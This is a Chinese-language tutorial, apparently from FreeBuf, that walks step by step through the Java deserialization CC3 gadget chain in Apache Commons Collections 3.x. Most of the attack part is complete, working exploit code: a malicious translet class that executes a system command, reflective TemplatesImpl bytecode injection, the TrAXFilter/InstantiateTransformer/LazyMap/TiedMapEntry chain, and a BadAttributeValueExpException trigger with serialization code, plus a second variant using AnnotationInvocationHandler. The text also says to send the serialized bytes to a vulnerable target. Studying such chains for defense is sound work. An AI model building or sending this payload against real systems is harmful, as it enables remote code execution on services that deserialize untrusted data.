从原理到实践:java反序列化CC3链的两种攻击路径详解
概念CC3 链是什么?CC3链是一个在Java反序列化漏洞中,利用Apache Commons Collections库(版本3.x)中的类,来实现在目标系统上执行任意代码的攻击链路径。它与更著名的C 2025-11-21 09:15:42 Author: www.freebuf.com(查看原文) 阅读量:1 收藏

概念

CC3 链是什么?

CC3链是一个在Java反序列化漏洞中,利用Apache Commons Collections库(版本3.x)中的类,来实现在目标系统上执行任意代码的攻击链路径。

它与更著名的CC1链目的相同,但实现路径和使用的关键类完全不同。CC1链的核心是TransformedMap或LazyMap与InvokerTransformer、ChainedTransformer的配合。CC1请看(Java反序列化之——cc1链超详细分析 - FreeBuf网络安全行业门户

而在CC3链中,由于高版本Java(>=8u71)对AnnotationInvocationHandler的修复,使得CC1链失效,攻击者便寻找了新的利用链。

核心思想:利用TemplatesImpl这个类本身具有加载字节码并执行的能力(详情请看:深入探索Java反序列化:CC2利用链原理与POC实现 - FreeBuf网络安全行业门户),使用了CC2链的利用思路,然后通过Commons Collections 3中的TrAXFilter类和InstantiateTransformertransformer,巧妙地触发TemplatesImpl的newTransformer()方法,从而最终执行恶意字节码。

利用条件

要成功利用CC3链,需要满足以下几个条件:

  1. 目标环境中存在漏洞版本的Apache Commons Collections 3.x jar包。
  2. 目标的JDK版本不受限制:CC3链不依赖于AnnotationInvocationHandler的反序列化,因此不受修复CC1的那个补丁影响。但它仍然可能受到后续引入的SerializationFilter等机制的限制。
  3. 存在反序列化“入口点”:即应用程序中存在一处可以传入我们精心构造的序列化数据流的地方。例如:
  • 读取ObjectInputStream的RMI接口。
  • HTTP请求中经过Base64编码的Java对象。
  • JMX、JMS等接收消息的端口。
  • Fastjson、XStream等库在特定配置下也可能成为入口。

关键中间类及角色

理解CC3链的关键在于理解以下几个类是如何串联起来的:

  1. TemplatesImpl(来自 com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl)
  • 角色:最终执行代码的类。这个类很特殊,它内部有一个_bytecodes字段,可以存储定义类的字节码。当调用其newTransformer()或getOutputProperties()方法时,会加载这些字节码并实例化这个类。如果字节码的静态代码块或构造函数中包含恶意代码(如Runtime.getRuntime().exec("calc")),就会被执行。
  • 注意:它不是Commons Collections的类,是JDK自带的。
  1. TrAXFilter(来自 javax.xml.transform.TrAXFilter)
  • 角色:关键的“桥梁”。它的构造函数接受一个Templates对象(上面的TemplatesImpl实现了这个接口),并在其构造函数内部立即调用了templates.newTransformer()。
  • 作用:它在“实例化对象”的时候,相当于“调用TemplatesImpl.newTransformer()”。
  1. InstantiateTransformer(来自 org.apache.commons.collections.functors.InstantiateTransformer)
  • 角色:一个“工厂”型的Transformer。它的transform方法接收一个Class对象,然后使用其构造函数来实例化这个Class类。
  • 在链中:我们会配置这个InstantiateTransformer,让它去实例化TrAXFilter类。当它被调用时,就会执行new TrAXFilter(templates),从而触发后续链条TemplatesImpl.newTransformer()。
  1. ConstantTransformer&ChainedTransformer(来自 org.apache.commons.collections.functors)
  • 角色:与CC1中类似,用于构造一个Transformer调用链。
  • ConstantTransformer:负责返回一个固定的对象,这里用于提供TrAXFilter.class。
  • ChainedTransformer:负责将多个Transformer串联执行。在这里,它会将ConstantTransformer返回的TrAXFilter.class传递给InstantiateTransformer。
  1. 触发点(如 LazyMap.get或 BadAttributeValueExpException)
  • 角色:整个反序列化过程的“点火器”。我们需要找到一个在反序列化时会自动被调用的readObject方法,这个方法最终会调用到我们精心构造的ChainedTransformer.transform()方法。
  • 常见选择:
  • LazyMap.get(Object):与CC1类似,通过AnnotationInvocationHandler.invoke代理触发,但在高版本JDK中此路不通。
  • BadAttributeValueExpException.readObject():这是一个更常用的CC3触发点。它在反序列化时,会直接调用其val成员的toString()方法。如果我们能让这个val成员是一个精心构造的、在toString()时会触发整个链条的对象(例如一个TiedMapEntry),就能成功。
  1. TiedMapEntry(来自 org.apache.commons.collections.keyvalue.TiedMapEntry)
  • 角色:连接“点火器”和“Transformer链”的适配器。它的getValue()方法会调用底层Map的get方法。如果我们把这个Map设置为一个LazyMap,而LazyMap的factory是我们的ChainedTransformer,那么调用TiedMapEntry.getValue()(或其toString()、hashCode())就会触发整个链条。

实现步骤详解

环境准备

需要 Commons Collections 3.x版本,其次是JDK版本8u以上版本,maven导入相关的包

<dependency>
            <groupId>commons-collections</groupId>
            <artifactId>commons-collections</artifactId>
            <version>3.2.1</version>
          </dependency>
    <dependency>
      <groupId>org.javassist</groupId>
      <artifactId>javassist</artifactId>
      <version>3.20.0-GA</version>

步骤一:制作恶意TemplatesImpl对象

1.编写一个类,其静态代码块中包含恶意命令-Exec.java:

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;

public class Exec extends AbstractTranslet {
    static {
        try {
            Process process = Runtime.getRuntime().exec("whoami");
            BufferedReader reader = new BufferedReader(new InputStreamReader(process.getInputStream()));
            String line;
            System.out.println("命令执行结果:");
            while ((line = reader.readLine()) != null) {
                System.out.println(line); // 逐行打印命令执行结果
}
            reader.close(); // 关闭流
process.waitFor();
        } catch (IOException | InterruptedException e) {
            throw new RuntimeException(e);
        }
    }

    @Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }
}

2.将这个类编译成 .class文件,并读取其字节码,新建一个Cc3Exec.java

import javassist.ClassPool;
import java.util.Arrays;

public class Cc3Exec {
    public static void main(String[] args) throws Exception {
        ClassPool classPool = ClassPool.getDefault();
        byte[] execs = classPool.get("Exec").toBytecode();
        System.out.println(Arrays.toString(execs));
    }
}

1763707429_69200a254fa915d7b0387.png!small?1763707429711

3.创建一个 TemplatesImpl对象,通过反射将其 _bytecodes字段设置为包含我们恶意类字节码的数组。同时还需要设置 _name、_tfactory等必要字段。这里是CC2链利用的核心操作,具体看CC2链的内容(深入探索Java反序列化:CC2利用链原理与POC实现 - FreeBuf网络安全行业门户)。

新建一个Cc3Exec.java:

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import java.lang.reflect.Field;
import java.util.Arrays;

public class Cc3Exec {
    public static void main(String[] args) throws Exception {
        ClassPool classPool = ClassPool.getDefault();
        byte[] execBytes = classPool.get("Exec").toBytecode();

        // 创建TemplatesImpl实例,这是XSLT转换的核心类,可用于加载和执行字节码
TemplatesImpl templates = new TemplatesImpl();
// 获取TemplatesImpl的Class对象,用于后续的反射操作
Class<? extends TemplatesImpl> templatesClass = templates.getClass();
// 获取_name字段并进行设置
Field _nameField = templatesClass.getDeclaredField("_name");
        _nameField.setAccessible(true);
        _nameField.set(templates, "aaa");

// 获取_tfactory字段并进行设置 - 这个字段是Transformer工厂,用于创建转换器
Field _tfactoryField = templatesClass.getDeclaredField("_tfactory");
        _tfactoryField.setAccessible(true);
        _tfactoryField.set(templates, new TransformerFactoryImpl());

// 获取_bytecodes字段并进行设置 -
Field _bytecodesField = templatesClass.getDeclaredField("_bytecodes");
        _bytecodesField.setAccessible(true);
        _bytecodesField.set(templates, new byte[][]{execBytes});//这个字段包含要加载的类字节码bytecodes-上面的变量
// 调用newTransformer方法触发字节码加载和执行
// 这会使得_bytecodes中的类被定义和初始化,执行静态代码块等
templates.newTransformer();
    }
}

这样就完成了一个雏形了,运行这个文件:可以看到恶意类的代码已经被执行了。

1763707572_69200ab4dc1a8404c8257.png!small?1763707573332

步骤二:构造核心Transformer链

现在要找到一个可以来帮我们调用newTransformer()方法的对象,从而执行里面的步骤(创建恶意类Exec对象)。

1.创建一InstantiateTransformer

有这样一个类,com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter类,其构造函数如下:

1763707702_69200b369ef46291c515b.png!small?1763707703194

特别直接的在构造函数中执行了我们上面的代码中的 (TransformerImpl) templates.newTransformer();,而且实现起来很简单,只需要创建一个对象,将我们自己的templates传入即可实现。

1763707757_69200b6d1ae8e1464e698.png!small?1763707761776

而且刚好templates.newTransformer()返回的就是一个TransformerImpl类型。所以我们上面的代码,就可以将templates.newTransformer();改为创建TrAXFilter trAXFilter = new TrAXFilter(templates);这个对象,达到同样的效果:

1763707739_69200b5b839a3d7947178.png!small?1763707747330

现在继续找替我们执行上面的步骤的方法。存在这样一个类:org.apache.commons.collections.functors.InstantiateTransformer:其构造器中的代码如下:

1763707761_69200b7120e0aff8c367b.png!small?1763707761781

接收两个参数,一个是Class数组,一个是Object数组。赋值给iParamTypes 和 iArgs。

然后在它的transform()方法中,使用了这两个参数的值-如下:

1763707787_69200b8b63c3c368c5e3d.png!small?1763707788002

如果调用它的transform(),方法传入的是一个Class对象,就执行下面的代码:

Constructor con = ((Class) input).getConstructor(iParamTypes);
return con.newInstance(iArgs);

通过反射获取该Class对象的Constructor 构造器,并且参数是iParamTypes,然后调用构造器创建一个该Class类的对象,参数是iArgs。这里所有的参数均可控。那它是不是就可以用来帮我们完成这一步TrAXFilter trAXFilter = new TrAXFilter(templates);,所以iArgs =templates,iParamTypes =(templates的类类型-Templates.class(因为在TrAXFilter构造函数中,它的参数明确显示的是Templates类型,尽管templates的实际类型是它的实现类TemplatesImpl)),input = TrAXFilter.class ,这里主要是反射原理的利用。如有不理解请看(java反序列化基础——(反)序列化、反射 - FreeBuf网络安全行业门户):

然后执行它的transform()放的时候,就会通过反射,创建一个TrAXFilter对象了。

那么可以用下面的代码替代上面的创建TrAXFilter对象的代码:

InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates});
instantiateTransformer.transform(TrAXFilter.class);

成功执行:

1763707894_69200bf6e772e49cf4493.png!small?1763707895503

到这里已经完成了创建一个InstantiateTransformerd对象,其参数是 new Class[]{Templates.class}和 new Object[]{templatesImpl}。这表示它将使用一个参数(类型为Templates,值为我们恶意的templatesImpl对象)来构造TrAXFilter对象,然后执行它的transform方法。

接下来需要使用CC1链的知识:

2.创建一个ChainedTransformer

1.Transformer的实现类ChainedTransformer中有一个Transformer[]数组-通过构造器赋值:

1763708027_69200c7b4ba3df30a74f5.png!small?1763708028087

1763708035_69200c83db1607516b3dc.png!small?1763708036421

而且它也有自己的transform()方法:

1763708050_69200c920fb4e638b422e.png!small?1763708050801

该方法将这个Transformer[]数组里面的所有对象一次执行他们自己的transform(object)方法,并且将前一个执行的结果作为实际参数传递给下一个对象的transform(object)方法。当然第一个元素Transformer[0]的object的是调用的时候传入的。

2.另外还有一个Transformer的实现类ConstantTransformer,表示常量的Transformer如下:

1763708087_69200cb75547ca14c337f.png!small?1763708087873

1763708097_69200cc1376c7519b6cdf.png!small?1763708097717

它的transform()方法中,该方法不管传入任何参数,它都直接返回创建该对象的这个值iConstant。那么就可以将这个instantiateTransformer.transform(TrAXFilter.class);执行恶意代码的调用使用上面2个Transformer的实现类进行替换,达到同样的效果。所以可以替换成如下代码:

ConstantTransformer constantTransformer = new ConstantTransformer(TrAXFilter.class);
ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{constantTransformer,instantiateTransformer});
chainedTransformer.transform("随便输入,反正会返回常量!");

这里通过创建一个常量ConstantTransformer 是其在ChainedTransformer 的属性-iTransformers[0]数组索引0位置上率先执行,得到TrAXFilter.class,将其作为iTransformers[1].transform(TrAXFilter.class)的参数,而我们将iTransformers[1]赋值为instantiateTransformer,就实现了到instantiateTransformer.transform(TrAXFilter.class)的转变。

1763708154_69200cfa374b09fcf51f5.png!small?1763708154850

然后运行,同样可以顺利执行。

小结:

  1. 创建一个InstantiateTransformer,其参数是 new Class[]{Templates.class}和 new Object[]{templatesImpl}。这表示它将使用一个参数(类型为Templates,值为我们恶意的templatesImpl对象)来构造TrAXFilter。
  2. 创建一个 ConstantTransformer,其参数是 TrAXFilter.class。这样,当它被调用时,总是返回这个Class对象。
  3. 创建一个 InstantiateTransformer,其参数是 new Class[]{Templates.class}和 new Object[]{templatesImpl}。这表示它将使用一个参数(类型为Templates,值为我们恶意的templatesImpl对象)来构造TrAXFilter。
  4. 创建一个ChainedTransformer,将上面两个Transformer按顺序放入链中:[ConstantTransformer, InstantiateTransformer]。
  • 执行流程:ConstantTransformer.transform(任何输入) -> TrAXFilter.class-> InstantiateTransformer.transform(TrAXFilter.class) -> new TrAXFilter(templatesImpl)-> 在TrAXFilter构造函数中调用 templatesImpl.newTransformer()-> 恶意字节码被执行。

步骤三:构造LazyMap和TiedMapEntry

chainedTransformer.transform("随便输入,反正会返回常量!");其实这个也可以使用其他方式替代。

在Lazymap类中:它的get()方法中,有对transform()方法的调用,但是前面有个if判断,map的中的key不能是我们传入的key。

1763713970_692023b2617ebe5133ca2.png!small?1763713970991

然后只需要factory==chainedTransformer 就可以实现它帮我们执行的效果。看看这个factory和map怎么控制:

1763713995_692023cb38cbd45ae0aa4.png!small?1763713995659

在其构造函数中赋值,且为Transformer 类型,但是是protect的,无法直接调用,同时再次出现一个if判断,不能为null!但是它有下面的decorate()方法帮我们调用构造函数:

1763714042_692023fa4b7fe43542843.png!small?1763714042766

我们创建一个空Map,就解决了第一个if判断,肯定不会包含输入的,或者随便输入key也不可能包含,然后就是调用decorate()方法。传入参数,那么就解决了第二个if的判断!

所以使用如下代码替换chainedTransformer.transform("随便输入,反正会返回常量!");即可。

Map<Object, Object> map = new HashMap<>();
LazyMap lazyMap = (LazyMap) LazyMap.decorate(map,chainedTransformer);
lazyMap.get("随便输入!");

再次运行:1763714268_692024dc1036842616d62.png!small?1763714268537

第一种实现方式

BadAttributeValueExpException类

到这里就可以分成两个不同的后续利用链了,先从第一种利用BadAttributeValueExpException类的反序列化readObject()方法。

这里需要使用到TiedMapEntry这个类。该类中有个getValue()的方法,也存在对get方法的调用。

1763714377_692025498bc494df11fbb.png!small?1763714378096

如果这里的map == lazyMap,那么这里又可以通过TiedMapEntry这个对象来帮我们继续调用。而这个map同样是我们可以通过构造函数赋值的:

1763714398_6920255e140f8a2d5dd23.png!small?1763714399201

而同样的它的tostring()方法直接调用了getValue()方法。

1763714408_69202568ce802d8c6a920.png!small?1763714409309

所以上面的代码继续替换:将lazyMap.get("随便输入!");替换为如下代码:

TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap,"随便输入");
tiedMapEntry.toString();

同样可以继续执行命令:

1763714444_6920258c38ce494994587.png!small?1763714444873

小结:

  1. 创建一个普通的Map(如HashMap)。
  2. 使用 LazyMap.decorate方法,用这个普通Map和我们步骤二中创建的 ChainedTransformer创建一个 LazyMap。调用 lazyMap.get(key),如果key不存在,会触发我们的Transformer链。
  3. 创建一个 TiedMapEntry对象,将上面的 lazyMap和一个任意key(这个key不必在Map中存在)传递给它。

步骤四:构造并触发反序列化的入口点

上面的TiedMapEntry对象,为什么我们不直接调用getValue()方法,而选择通过toString(),来帮我们调用,主要原因就是最终的反序列方法中是对toString()方法的调用,这样才形成了一个完整的链条。不然无法通过反序列化的方法调用后面的执行链。

BadAttributeValueExpException类的readObject()

在它的构造函数中,直接调用了val.toString()。那么只需要我们将上面的tiedMapEntry.toString();==val.toString(),就可以执行了。

1763714555_692025fb66276016ec09a.png!small?1763714555991

但是就存在一个问题:创建这个对象的时候,就执行了利用链中的代码,都还没走到readObject(),反序列化方法,程序就执行结束--每次我们执行都报错的地方,后续的代码将不在执行。

如下:直接将tiedMapEntry.toString();更改为如下代码:

BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(tiedMapEntry);
System.out.println("执行这里吗???");

命令确实是执行了,但是程序也结束了,后续走不下去了。

1763714600_692026281c7878ffc6813.png!small?1763714600744

在BadAttributeValueExpException 该类中的反序列方法readObject():同样存在对toString()方法的调用,所以需要反序列化代码中的valObj.toString();==tiedMapEntry.toString();,需要给valObj赋值 。

1763714681_69202679e863d9dca5dc2.png!small?1763714682528

如何给他赋值:可以看到它的值是通过反序列化从输入流中读取到的该对象的字段val的值。而且要执行到else if中的代码需要满足val 不为空,且不能是String类型。然后满足很多的条件中的任意一项即可执行toString();但是这么多条件中,我们知道最终这个val应该是我们的tiedMapEntry对象,因为只有这样才能执行利用链。那么唯一的可能点就是第一个条件:System.getSecurityManager() == null必须成立,好在这个值默认为空。

1763714724_692026a4dbab52fb7944f.png!small?1763714725407

1763714728_692026a8c90c7907b8b7c.png!small?1763714729211

问题关键点:1.val不能为空且不能为String类型。2.BadAttributeValueExpException对象创建的时候不能执行构造函数里面的toString方法-即val必须为空。矛盾的组合2个条件。

解决方式-反射:我们可以先创建一个val属性为空的BadAttributeValueExpException对象,然后在对其val属性赋值。但是其val属性是private的,所以需要使用反射的方式来实现。

那么上面的tiedMapEntry.toString();代码可以更改为如下代码:

BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
Field valField = badAttributeValueExpException.getClass().getDeclaredField("val");
valField.setAccessible(true);
valField.set(badAttributeValueExpException,tiedMapEntry);

现在相当于就得到了一个持有tiedMapEntry对象的对象。只需要调用它的readObject()方法,即可自动执行同toString()方法了。

反序列化利用小结:

  1. 创建一个 BadAttributeValueExpException对象。
  2. 通过反射,将其 val字段设置为我们步骤三中创建的 TiedMapEntry对象。
  • 原理:BadAttributeValueExpException在反序列化时的 readObject方法中,会调用 this.val.toString()。
  • TiedMapEntry.toString()会调用 this.getValue()。
  • TiedMapEntry.getValue()会调用 this.map.get(this.key)。
  • 这里的 this.map是我们的 LazyMap,this.key是一个不存在的key,因此会触发 LazyMap的factory,即我们的 ChainedTransformer。

步骤五:序列化与反序列化

序列化反序列化过程:

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import javax.management.BadAttributeValueExpException;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class Cc3Exec {
    public static void main(String[] args) throws Exception {
        // 使用Javassist动态生成恶意类的字节码
ClassPool classPool = ClassPool.getDefault();
        byte[] execBytes = classPool.get("Exec").toBytecode();

        // ========== 第一步:创建并配置TemplatesImpl对象 ==========
        // TemplatesImpl是JDK内部类,这是XSLT转换的核心类,可用于加载和执行字节码
TemplatesImpl templates = new TemplatesImpl();
        Class<? extends TemplatesImpl> templatesClass = templates.getClass();

        // 设置_name字段 - TemplatesImpl要求这个字段不能为空
Field _nameField = templatesClass.getDeclaredField("_name");
        _nameField.setAccessible(true);
        _nameField.set(templates, "aaa");

        // 设置_tfactory字段 - 转换器工厂,TemplatesImpl执行时需要
Field _tfactoryField = templatesClass.getDeclaredField("_tfactory");
        _tfactoryField.setAccessible(true);
        _tfactoryField.set(templates, new TransformerFactoryImpl());

        // 设置_bytecodes字段 - 核心:包含要执行的恶意字节码
Field _bytecodesField = templatesClass.getDeclaredField("_bytecodes");
        _bytecodesField.setAccessible(true);
        _bytecodesField.set(templates, new byte[][]{execBytes});

        // ========== 第二步:构建Transformer执行链 ==========
        // ConstantTransformer: 固定返回TrAXFilter.class对象
ConstantTransformer constantTransformer = new ConstantTransformer(TrAXFilter.class);

        // InstantiateTransformer: 核心Transformer,用于实例化TrAXFilter类
// 参数说明:
// - new Class[]{Templates.class}: 匹配TrAXFilter构造函数的参数类型
// - new Object[]{templates}: 传入恶意的TemplatesImpl对象
// 当被调用时:new TrAXFilter(templates) → 触发templates.newTransformer() → 执行恶意字节码
InstantiateTransformer instantiateTransformer = new InstantiateTransformer(
                new Class[]{Templates.class},
                new Object[]{templates}
        );

        // ChainedTransformer: 将多个Transformer串联执行
// 执行顺序:constantTransformer → instantiateTransformer
ChainedTransformer chainedTransformer = new ChainedTransformer(
                new Transformer[]{constantTransformer, instantiateTransformer}
        );

        // ========== 第三步:构建触发链 ==========
        // 创建基础HashMap
Map<Object, Object> map = new HashMap<>();

        // 使用LazyMap装饰HashMap,设置factory为我们的Transformer链
// 当访问不存在的key时,会触发chainedTransformer.transform()
LazyMap lazyMap = (LazyMap) LazyMap.decorate(map, chainedTransformer);

        // 创建TiedMapEntry,将lazyMap和一个任意key绑定
// TiedMapEntry的toString()方法会调用getValue() → lazyMap.get(key)
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "随便输入");

        // ========== 第四步:设置反序列化入口点 ==========
        // 创建BadAttributeValueExpException对象
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);

        // 通过反射设置val字段为我们的TiedMapEntry
        // BadAttributeValueExpException在反序列化时会调用val.toString()
Field valField = badAttributeValueExpException.getClass().getDeclaredField("val");
        valField.setAccessible(true);
        valField.set(badAttributeValueExpException, tiedMapEntry);

        // ========== 第五步:序列化和反序列化触发 ==========
        // 序列化恶意对象到文件
serialize(badAttributeValueExpException);

        // 反序列化触发漏洞执行
deserialize();
    }

    /**
     * 序列化对象到文件
* @param object 要序列化的对象
*/
public static void serialize(Object object) throws IOException {
        FileOutputStream fileOutputStream = new FileOutputStream("1.bin");
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream);
        objectOutputStream.writeObject(object);
        objectOutputStream.close();
        System.out.println("序列化完成,恶意对象已保存到 1.bin");
    }

    /**
     * 模拟服务器反序列化过程:从文件反序列化对象并触发漏洞
*/
public static void deserialize() throws IOException, ClassNotFoundException {
        FileInputStream fileInputStream = new FileInputStream("1.bin");
        ObjectInputStream objectInputStream = new ObjectInputStream(fileInputStream);
        objectInputStream.readObject(); // 这里会触发漏洞执行
objectInputStream.close();
        System.out.println("反序列化完成");
    }
}

成功执行:

1763715134_6920283e4f58117e7597a.png!small?1763715134819

整个CC3利用链就结束了:该代码的执行逻辑如下:

反序列化开始
    ↓
BadAttributeValueExpException.readObject()
    ↓ 调用 val.toString()  // val是我们的TiedMapEntry
    ↓
TiedMapEntry.toString()
    ↓ 调用 this.getValue()
    ↓
TiedMapEntry.getValue()
    ↓ 调用 this.map.get(this.key)  // map是LazyMap, key不存在
    ↓
LazyMap.get("随便输入")  // 由于key不存在,触发factory
    ↓
ChainedTransformer.transform()
    ↓
ConstantTransformer.transform() → 返回TrAXFilter.class
    ↓
InstantiateTransformer.transform(TrAXFilter.class) → new TrAXFilter(templates)
    ↓
TrAXFilter构造函数调用 templates.newTransformer()
    ↓
TemplatesImpl.newTransformer() → 加载并初始化恶意字节码
    ↓
恶意类的静态代码块执行 → Runtime.getRuntime().exec("calc")
    ↓
命令执行

利用小结:

  1. 将最终的 BadAttributeValueExpException对象序列化。
  2. 将这个序列化后的字节流发送给存在漏洞的目标应用。

当目标应用的反序列化机制读取到这个字节流时,就会按照我们设计的路径一步步执行,最终任意命令。

总结

CC3链可以看作是CC1链的一种“进化”和“绕过”。它放弃了直接使用InvokerTransformer来调用方法,转而利用InstantiateTransformer来实例化一个在构造函数中就能触发危险操作的类(TrAXFilter),从而巧妙地达到了执行任意代码的目的,这一创新使攻击能够绕过对AnnotationInvocationHandler的修复,在更高版本JDK中依然有效。这种组合方式展现了反序列化利用的灵活性,也说明了仅仅修复某一个点(如AnnotationInvocationHandler)往往不足以解决所有问题。防御此类攻击最有效的方式仍然是升级依赖、使用安全工具进行代码/数据包检查,以及避免反序列化不可信数据。

第二种方式-低版本有效

环境准备:需要将JDK版本设置到8u71以下

至于第二种方式还是使用CC1链中的 AnnotationInvocationHandler的利用链。如下它的反序列化方法-简单看一哈:

1763715222_692028965e94000d92f74.png!small?1763715222812

以及invoke方法:

1763715236_692028a4d9969e08a7609.png!small?1763715240160

它的反序列化方法中调用entryset(),触发invoke(需要代理Proxy对象),调用get方法。所以上面的代码只需要从Map的地方开始替换。就不需要TiedMapEntry作为中间跳板了。

但是AnnotationInvocationHandler是JDK内部的一个类,它位于sun.reflect.annotation包中。这个类在JDK的rt.jar中,但是它是包级私有的,也就是说它没有被导出为公共API。因此,在JDK的公开文档中找不到它,也不能直接在代码中通过import来引用,只能通过反射来获取,具体可以看CC1链的使用方法。这里直接使用。

1763715251_692028b3be7a37bbde6f4.png!small?1763715255509

这些都是我们可控的,只需需要对应的赋值即可实现调用最后的get方法。它需要两个参数一个Map,一个继承至Annotation 的Class类型。

关键理解点

  1. invoke不是显式调用的,而是Java动态代理机制在代理对象方法被调用时自动触发
  2. 触发条件是:外层AnnotationInvocationHandler在反序列化时,其readObject方法会遍历memberValues.entrySet()
  3. 由于memberValues是代理Map,调用它的entrySet()方法会被代理机制拦截,转而调用invocationHandler.invoke()
  4. 这是一种"间接调用"技术,避免了直接触发恶意代码,使得攻击更加隐蔽

直接上替换的代码:

// 通过反射获取AnnotationInvocationHandler类,这是Java内部用于处理注解的类
Class<?> aihClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");

// 获取AnnotationInvocationHandler的构造方法,参数为Class类型和Map类型
Constructor<?> declaredConstructor = aihClass.getDeclaredConstructor(Class.class, Map.class);

// 设置构造方法可访问,绕过访问权限检查
declaredConstructor.setAccessible(true);

// 创建AnnotationInvocationHandler实例,传入Target注解类和之前构造的lazyMap
// 这里利用AnnotationInvocationHandler的readObject方法会在反序列化时操作Map的特性
InvocationHandler invocationHandler = (InvocationHandler)declaredConstructor.newInstance(Target.class, lazyMap);

// 创建动态代理对象,代理Map接口,所有对Map的方法调用都会转发给invocationHandler
Map map = (Map) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Map.class}, invocationHandler);

// 再次创建AnnotationInvocationHandler实例,这次传入的是代理对象map
// 形成嵌套结构,在反序列化时会触发代理对象的调用链
Object o = declaredConstructor.newInstance(Target.class, map);

再次成功执行命令。

1763715309_692028edb6a11287631a1.png!small?1763715311954

两种方式技术对比:

AnnotationInvocationHandler方式

  • 适用范围:仅限JDK 8u71之前版本
  • 限制原因:核心触发点(readObject中的entrySet()调用)被移除
  • 现状:在现在环境中基本不可用

BadAttributeValueExpException方式

  • 适用范围:更广泛的JDK版本(包括8u71+)
  • 优势:依赖更稳定的JDK组件,不受AnnotationInvocationHandler修复影响
  • 限制:无特定限制,可能受后续JDK安全增强影响,但兼容性更好

-----结束!


文章来源: https://www.freebuf.com/articles/vuls/458423.html
如有侵权请联系:admin#unsafe.sh